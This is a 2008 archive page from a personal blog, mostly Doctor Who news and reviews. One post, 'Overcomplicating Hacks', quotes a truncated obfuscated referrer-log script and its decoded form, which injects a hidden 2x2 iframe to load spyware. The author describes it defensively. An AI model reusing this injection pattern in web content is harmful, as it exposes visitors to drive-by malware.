MainDoctor WhoMusicSoftware
Main Page

Alden Bates' Weblog

April 2008 Archives

April 30, 2008

Where's the comment spam gone?

Filed in: Spam.

It occurred to me that I'm not seeing much comment spam here recently. In fact, they don't even appear to be trying any more. The last spam which SpamLookup caught was on the 25th of March. Maybe they got discouraged by my security measures. Maybe I'm not writing about stuff which spammers typically look for. Maybe I'm not posting enough.

Or maybe spammers are moving on to hacking sites and inserting links that way. Most of the bad hits I've been getting lately are from people trying to hack my site using PHP exploits. Of course, I don't use any PHP applications here, so they get a nice error in response. Judging by the URLs they hit, they found this site by searching for sites which mention PHP. On the bright side, so long as they're making futile attempts to hack my site, they have less bandwidth to use on trying to hack less secure sites.

So is comment spam on the decrease, or am I just lucky? It'll be interesting to see if blogging about it causes an increase in attempts...

Posted at 10:32 PM | Comments (1)


Filed in: Doctor Who, Website Management.

Back in Y2K or so, Jim Mortimore wrote a Doctor Who novel called Campaign. At the time, BBC books were publishing Doctor Who books from a wider range of people, so he submitted it to them. It was rejected. Campaign, you see, didn't so much push the limits of the genre as kick the limits over and then run away giggling. It's a veritable mind-bender of a story.

At the time, the author chose to self-publish the novel, and the other day, it went up on the NZDWFC site as an eBook. It's available primarily as a PDF file (although there's also the option to email the author regarding a hard copy) and not in HTML format like the other eBooks, mainly because it would be really difficult to do.

The crux is, the book is now available to an audience I suspect is wider than that which it would have had had it actually have been published back in 2000. :)

Read Campaign here.

Posted at 1:55 AM | Comments (0)

April 24, 2008

Doctor Who Series 4 (Part 1)

Filed in: Doctor Who.

In addition to reviewing the episodes, I'm going to run a "Battle of the Seasons", wherein I rate analogue stories from each season by some arbitrary factor. Story most-matching the factor in question gets 4 points, second gets 3 points, etc. It should be self explanatory as we go. Onward! (Spoiler warnings now in effect!)

Continue reading "Doctor Who Series 4 (Part 1)"

Posted at 9:54 PM | Comments (4)

April 17, 2008

A Dalek pushing a Wheelbarrow

Filed in: Doctor Who.

From this year's Great Carterton Wheelbarrow Race (Wairarapa Times Age coverage):

[A Dalek pushing a wheelbarrow]

Continue reading "A Dalek pushing a Wheelbarrow"

Posted at 9:09 PM | Comments (1)

Windows Live Messenger is a Hog

Filed in: Computers.

I've noticed that after my computer has been running a while, Windows Live Messenger will go into some sort of funky loop and start eating up memory and CPU cycles. Allow me to demonstrate:

[Task Manager screen shot]

Time to try out one of the substitutes, I think.

Posted at 2:09 AM | Comments (3)

April 16, 2008

Overcomplicating Hacks

Filed in: Spam.

Wow, it's the middle of the month already! Where does the time go?

A week or so ago I noticed an odd hit in my server logs. The referrer url looked like this:<script> eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72
[whole bunch more encoded characters cut out]

Java script in the referrer? I guess the idea was that it would end up in the referrer logs which I don't publish on my web site, and then any unsuspecting people who visited said logs would execute the javascript. Or possibly would follow the link to the buxhotel page, which would give them back the javascript. Anyway the pile of encoded characters translated to more javascript, which looked like this:
document.write("<iframe src='[URL REDACTED]' height='2' width='2'> </iframe>");

The iframe loaded a URL containing yet more javascript which started document.write(unescape('%3c%68%74%6d%6c%3e etc etc etc. I didn't bother to extract all of it, but what I did translate made it obvious that the page was loaded with nasty spyware and viruses.

So to recap, this method depends on the target site publishing its logs publicly in some manner that people will either execute the long chain of javascript by visiting the logs or by following the link. Either way, it seems just a bit desperate to me...

Posted at 1:42 AM | Comments (1)

April 8, 2008

Resurrection of the Daleks

Filed in: Doctor Who, TSV Online.

So, back when Target was novelising Doctor Who stories, they ran into a bit of a snag with several of them. In the cases of Resurrection of the Daleks and Revelation of the Daleks, they were unable to come to an arrangement which writer Eric Saward and the estate of Terry Nation were all happy with. Nature abhors a vacuum (and so do fans), thus in January 2000 the NZDWFC published an unofficial novelisation of Resurrection of the Daleks along with reprints of the four previous unofficial novelisations. Time marches on, and now Resurrection of the Daleks is available to read online in both spiffy HTML and PDF formats.

As usual, there are a number of cool extras such as author's notes and an article on the history of the novelisation. As mentioned previously, I've still been getting emails asking if we're going to put the rest of the novelisations up, and I expect to continue to get them until the last one goes up. Perhaps I should put up a "coming soon" notice on the City of Death page (but then I'll probably just get "How soon?" emails).

See also: the write-up by Paul
Previously: TSV 56

Posted at 9:04 PM | Comments (1)

April 6, 2008

Torchwood Series 2 (spoilers)

Filed in: Doctor Who.

James Marsters, I suspect, is trying to do a tour of the major SF franchises. So far he's been in Smallville, Torchwood (which is as near as spit to Doctor Who) and ISTR he has a non-speaking appearance as Tarkin in Episode III. Watch out for him in the new Star Trek movie! So, now Torchwood series 2 is over, I give you the ultra-short episode guide...

Continue reading "Torchwood Series 2 (spoilers)"

Posted at 1:45 PM | Comments (1)

April 4, 2008

Random Sunrise Photo!

Filed in: Misc, Website Management.

Clouds at sunrise

Good morning, April (I meant to post this yesterday, when it would have been 25% closer to the start of the month, but oh well...)

Continue reading "Random Sunrise Photo!"

Posted at 7:23 PM | Comments (0)


Archives Site Map